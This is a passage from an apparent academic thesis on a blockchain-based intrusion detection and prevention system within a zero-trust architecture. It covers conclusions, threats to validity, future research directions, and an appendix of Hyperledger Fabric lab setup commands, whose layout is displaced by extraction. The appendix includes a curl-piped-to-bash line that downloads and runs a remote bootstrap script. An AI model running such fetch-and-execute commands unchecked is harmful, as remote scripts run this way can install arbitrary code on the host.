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was observed, compared to the default query strategy, as demonstrated 
by Figure 104. 

o Finally, these contributions are technology agnostic. Meaning, they can 
be implemented regardless of the chosen technology stack if this adheres 
to the same principles apply in this work and operate within a zero-trust 
architecture.  

b. A ZTA-enabled caching mechanism for the BIDPS, that de-loads the peer(s) 
from repeated queries and minimises the response time to user application 
execution requests. 
o This allowed for further improvement and fine-tuning of the proposed 

application rationale as suggested in section 4.5.7 Application Rationale 
and Figure 58, by embedding the caching mechanism in the BIDS network 
through Process 8, as shown in Figure 107.  

o Our experiment validated the above claim (see Figure 106). During the 
first-time execution of an application, the “D_THROTTLE” algorithm 
manages well with the load and has capacity to instantly cope up with all 
requests. However, as users request the same application the ZT-enabled 
caching proxy takes the lead in providing responses. Thus, the linear 
trendlines show that over time, the usage of “D_THROTTLE” is expected 
to decline, opposite to the usage of the caching proxy which increases 
and minimizes the load received by the BIDPS. The two solutions 
together provide for the optimal resource utilization ensuring a smooth 
BIDPS operation. 

 
Conclusively, we extend and preserve the abovementioned attributes of blockchain 
and ZT by automating the update function of the PEP through our chaincode. 
Moreover, utilizing both the “D_THROTTLE” algorithm combined with the caching 
proxy within the transaction proposal phase, we have effectively and efficiently 
achieved to:  
 

o Regulate the ledger queries and achieve the maximum number of TPS 
given the lab resources. 

o Eliminate repeated queries with same essential parameters until 
expiration time. 

o De-load the nodes allowing to scale down, eventually lowering the 
operational costs. 

o Preserve immutability, integrity, and non-repudiation. 
o Provide the best possible user experience enabling near instant 

execution upon request while maintaining a highly secure BIDPS. 
o interoperability between blockchain and traditional security systems 

through the PEP, enabled via chaincode. 
 
Above points 6a and 6b are therefore answering our research questions:  

 
• RQ5: How can we achieve optimal resource utilization that will enhance 

performance while supporting the same number of users (remote employees) and 
applications? 
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• RQ6: How can we achieve the maximum TPS given the lab resources, to minimize 
waiting time while preserving the integrity of data on-chain with the same user 
group and applications? 

 
7.2 Threats to Validity 
 

While our research explores the potential benefits of a blockchain-based Intrusion 
Detection and Prevention System (BIDPS), it is essential to consider the potential threats to 
the validity of our findings. The following threats should be acknowledged and addressed 
when moving to a production ready system: 
 

• Network Overhead: Integrating a blockchain into an IDPS introduces additional 
network overhead due to the consensus mechanisms and the distributed nature of 
the blockchain. The consensus algorithms employed in the blockchain require network 
participants to reach agreement on the state of the blockchain, which involves 
computational and communication overhead. This increased workload can impact the 
overall network performance, latency, and response times of the IDPS. Architecting 
and placing a BIDPS within ZTA must be done consciously, considering the anticipated 
network overhead denominated by the potential costs. If not, a production ready 
BIDPS may either incur exceptionally inflated costs or unnecessary network overhead 
and therefore congestion. If the blockchain network becomes congested or lacks 
sufficient scalability, it may impact the real-time detection and response capabilities 
of the BIDPS. Ensuring that the blockchain infrastructure is designed and optimized for 
performance and scalability is essential to maintaining the effectiveness of the BIDPS.  

 
• Security and Privacy Threats: Blockchain technology enhances data integrity and 

transparency; however, it is not immune to security and privacy risks. For instance, 
smart contract vulnerabilities, attacks on consensus mechanisms, or the exposure of 
sensitive data on the blockchain pose potential threats to the security and privacy of 
the BIDPS. If adversaries can exploit smart contracts, they might be able to manipulate 
which application information and hashes are recorded on chain, thereby 
compromising integrity.  
Regarding privacy, sensitive information about user activities and potential intrusions 
may be recorded on the blockchain. Depending on the design and implementation, 
this data may be visible to all participants or specific authorized entities. Ensuring 
appropriate privacy measures, such as data encryption or privacy-enhancing 
techniques like zero-knowledge proofs, is crucial to protect the privacy of sensitive 
information while maintaining the necessary transparency for detecting and 
preventing intrusions. Robust security measures, such as code audits and penetration 
testing, need to be implemented to mitigate these risks. 

 
• Supply Chain Threats: Supply chain threats like SolarWinds [182] highlight the critical 

importance of implementing robust supply chain security measures, conducting 
thorough vendor assessments, implementing monitoring and detection mechanisms, 
and maintaining ongoing vigilance to mitigate the risks associated with compromised 
supply chains. In the case of our proposed solution, Process 5 “UpdateAsset” (see 
4.5.7) is responsible for managing the pulling and pushing of software updates from 
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vendors. Our smart contract does not consider how to cope up with such threats, as 
this was out of scope of this research, however, it is a valid threat that a production 
ready system must consider beyond the prototyping phase.  

 
• Insider Threat: Insider threats may pose a risk to the BIDPS, however, with a much 

lower likelihood and impact as opposed to a traditional based IDPS. Blockchain 
technology provides inherent security features such as immutability, transparency, 
and most importantly, the consensus mechanism, therefore it is highly unlikely that 
the administrators of most of the nodes turned into insiders. In the unlikely event 
however, insiders with administrative access can introduce malicious code into the 
BIDPS's software components, including the blockchain nodes, smart contracts, or 
data storage systems. They could even manipulate the blockchain's smart contracts, 
modify transaction records, or tamper with the consensus mechanism. By doing so, 
they could manipulate or hide evidence of intrusions, bypass detection mechanisms, 
or even disrupt the overall functionality of the BIDPS. 

 
• Adoption Challenges: The successful adoption of the BIDPS depends on the 

willingness of organizations and stakeholders to embrace the technology. Resistance 
to change, regulatory concerns, and a lack of awareness or understanding about 
blockchain may hinder the widespread implementation of the proposed system. 
Addressing these challenges requires effective communication, education, and clear 
demonstration of the benefits and added value of the BIDPS.  

 
• Interoperability and Integration: Integrating the BIDPS with existing systems, tools, 

and protocols may pose interoperability challenges. The BIDPS needs to communicate 
and exchange data with other security solutions, network devices, and management 
systems ideally. Ensuring seamless integration and interoperability between the BIDPS 
and the broader security ecosystem is crucial for effective threat detection, incident 
response, and system management. Standardization efforts and the development of 
interoperability protocols can help address these challenges. 

 
• Limited Adoption and Ecosystem Support: Blockchain technology is still in the initial 

stages of adoption, and the ecosystem of tools, frameworks, and expertise may be 
relatively limited compared to traditional security solutions. This may pose challenges 
in finding suitable development frameworks, security libraries, or third-party services 
specific to the needs of a BIDPS. Organizations implementing a production ready BIDPS 
must carefully assess the availability of necessary resources and support in the 
blockchain ecosystem to ensure the long-term viability and effectiveness of the 
system. 

 
 
7.3 Future Directions 
 

As discussed, and presented in this research, zero trust architecture is a security strategy 
that assumes all network traffic is untrusted and requires verification before access is granted. 
Blockchain technology on the other hand, with its decentralized and distributed nature, can 
be used to augment zero trust architecture by providing a secure and tamper-proof way to 
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verify the identity and status of endpoints. As demonstrated, a blockchain-enabled intrusion 
detection and prevention system augments several tenets of ZTA on endpoints. 

Another potential way to leverage the convergence of ZTA and blockchain is by using 
blockchain-based digital certificates to authenticate endpoints. These digital certificates can 
be stored on the blockchain, providing a tamper-proof record of the endpoint's identity and 
attributes. This can be used to verify that an endpoint is authorized to access a particular 
network or resource, and to enforce access controls based on the endpoint's attributes. 
Another potential research direction would be to augment zero trust architecture using 
blockchain is using smart contracts. Smart contracts can be used to define and enforce access 
controls, such as only allowing access to a particular resource if certain conditions are met. 
For example, a smart contract could be used to ensure that an endpoint is running the latest 
security updates before it is allowed to access a network. 

In addition, blockchain can also be used to provide a tamper-proof record of all network 
activity. This can be used to detect and respond to security incidents, such as malware 
infections or unauthorized access attempts. Blockchain-based logging and event correlation 
can provide a more secure and auditable way to track and analyse network activity. Thereby 
blockchain-based records can function as the sole source of truth providing both integrity and 
non-repudiation to either internal or external stakeholders, or even regulators.  

Moreover, blockchain can be used to develop decentralized identity management systems, 
which can be used to provide a secure and tamper-proof way to verify the identity of users 
and devices. This can be used to improve the security of zero trust architectures by ensuring 
that only authorized entities can access sensitive data and resources. In conclusion on the 
future directions, blockchain technology has the potential to significantly enhance the 
security of zero trust architectures by providing a secure and tamper-proof way to verify the 
identity and status of endpoints, enforce access controls, and provide a tamper-proof record 
of all network activity.  

Finally, future research on the topic should continue to explore and develop new use cases 
for blockchain technology in cyber security regardless of zero trust architecture, despite the 
proven fact from this research being a particularly good match. It seems there is immense 
potential for DLTs and blockchain to improve several cybersecurity domains and use cases, 
however, as equally highlighted in this research limitations (e.g., performance or scalability) 
must always be considered. 
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Appendix 
 

The application stack of Hyperledger Fabric operates in five discreet layers. This is clarified 
in Figure 103 for two reasons: (1) these are not lab specific, meaning that anyone who wants 
to install and build on Hyperledger Fabric will have to meet the relevant prerequisites, and 
(2) it is imperative for understanding our actual lab setup and terminology used throughout.  
 
Prerequisites 
 
 

 
Figure 103 - HPLF application stack layers. 

Hyperledger Fabric can be installed on Mac, Windows, and Linux, the blockchain enabled 
intrusion detection and prevention prototype (BIDPS) is based on Ubuntu 20.04.3 LTS 
(GNU/Linux 5.11.0-27-generic x86_64) for licensing and resource purposes. Namely, Linux is 
open source freely available and requires the least number of resources to run on a virtual 
lab. First, the prerequisite software, which is the base layer required to run the software on 
top is installed. This includes Docker [81], Git [82], cURL [83], Go [84] and JQ [85]. Second, the 
actual Hyperledger Fabric executables are needed to run and operate a Fabric network 
alongside sample code that will be leveraged to an extent and help build our prototype faster. 
Third, the application programming interfaces, known as APIs, are utilized to develop smart 
contracts on our Fabric based lab. Fourth, on top of the APIs there are software development 
kit(s) also known as SDKs which are used to build the prototype. Finally, the application layer 
where the prototype will be interacting with the SDK(s) to call the smart contract operating 
on the fabric network.  

The official guides were followed for each of the prerequisite, directly from the sources (as 
mentioned above) specific for our Linux Ubuntu distribution. This is done purposefully to 
avoid unpredictable issues later that might arise by, for instance, following generic guides 
written for other computing architectures or Linux flavours. 
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Git 
 

Git is an open-source project used for tracking changes throughout our filesystem. It will 
be used for coordination in software development source code among different versions and 
participants, and for version tracking. This can be installed and checked by typing the 
following commands: 
 

 
 
Successful output is shown in Figure 104. 
 

 
Figure 104 - Git successful installation and version. 

cURL 
 
Client uniform resource locator, also known as “cURL”, is another free open-source software 
which is used in command lines or scripts to transfer data from several sources. It can be 
installed and verified on our lab as follows: 
 

 
 
Successful output is shown in Figure 105. 
 

 
Figure 105 - cURL successful installation and version. 

Docker 
 
Uninstallation of old versions prior installing the latest version of Docker is required. Old 
versions were named after “docker”, “docker.io” or “docker-engine”.  

 

 
 

Next, the setup of the repository is required. Therefore, we update the Ubuntu’s advanced 
package tool (APT) which is used to manage the removal, update, upgrade, and installation of 
software [86], to allow it to use a repository over Hypertext Transfer Protocol Secure (HTTPS): 
 

$ sudo apt-get install git 
$ git --version 

 

 
 

$ sudo apt-get install curl 
$ curl --version 

 

 
 

$ sudo apt-get remove docker docker-engine docker.io containerd runc 
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Then the official Docker GPG Key is added: 
 

 
 

The following command is required to set up the stable docker repository for our architecture 
x86_64 / amd64: 
 

 
 
Continuing with the installation of the latest version of Docker engine and containerd: 
 

 
 
Verification of Docker engine correct installation by executing the “hello-world” image”. 
 

 
 
Docker installation is successful, as shown in Figure 106. 
 

 
Figure 106 - Docker Engine installation successful output of hello-world image. 

$ sudo apt-get update 

$ sudo apt-get install \ 
             apt-transport-https \ 
             ca-certificates \ 
             curl \ 
             gnupg \ 
             lsb-release 

 

$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o 
/usr/share/keyrings/docker-archive-keyring.gpg 

 

 
 

$ echo \ 

  "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] 
https://download.docker.com/linux/ubuntu \  
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null 

 

 

 
 
$ sudo apt-get update 
$ sudo apt-get install docker-ce docker-ce-cli containerd.io 

 

 
 
$ sudo docker run hello-world 
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JQ 
 

JQ is a lightweight and flexible command-line JavaScript Object Notation (JSON) processor. 
It is written in portable C and has zero runtime dependencies [85], therefore, considering the 
Ubuntu environment installation and validation of the latest version can be achieved by 
typing the following commands:  
 

 
 
Successful installation reverts output as shown in Figure 107 
 

 
Figure 107 - JQ successful installation and version. 

 
Go 
 

A team of engineers at Google designed the Go, which is statically typed, compiled 
programming language. It is syntactically like C programming language, however there are 
key differentiations such as the memory safety, structural typing, garbage collections and CSP 
style concurrency [84].  Intention is to use the JavaScript version of chaincode; hence this is 
an optional component. However, at this stage Go is purposefully installed, to provide for a 
secondary programming language option when it comes to chaincode. Lastly, download, 
installation, and verification of Go is achieved by typing the following commands: 
 

 
 
Successful installation reverts output as shown in Figure 108 
 

 
Figure 108 - Golang successful installation and version. 

 
Fabric, Fabric Samples, Fabric Contract APIs, Application SDKs 
 

Fabric provides a set of docker images and some sample applications to demonstrate its 
core capabilities. Leveraging the sample applications pool to start building faster, rather 
starting from nothing, as this will allow for more time on prototype testing and evaluation 
phases. The following cURL command performs three core tasks: 
 

• The Hyperledger Fabric samples GitHub repository is cloned on our Ubuntu server. 

$ sudo apt-get install jq 
$ jq --help 

 

 
 

$ sudo apt-get install golang 
$ go version 
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• The latest Hyperledger Fabric Docker images are being downloaded and tagged as 
“latest”. 

• Platform specific Hyperledger Fabric command line interface (CLI) tool binaries and 
configuration files are being downloaded into fabric-samples “bin” and “config” 
directories. More specific, the following binaries are being downloaded, which will 
contribute to further interaction with the blockchain network: “configtxgen”, 
“configtxlator”, “cryptogen”, “discover”, “idemixgen”, “orderer”, “osnadmin”, “peer”, 
“fabric-ca-client”, “fabric-ca-server”. 

 
First, it required to change the working directory and create a new dedicated folder: 

 
 
 
  

$ cd Desktop; mkdir hyperlab; cd hyperlab;  
$ curl -sSL https://raw.githubusercontent.com/hyperledger/fabric/master/scripts/bootstrap.sh | bash -s -- -h 
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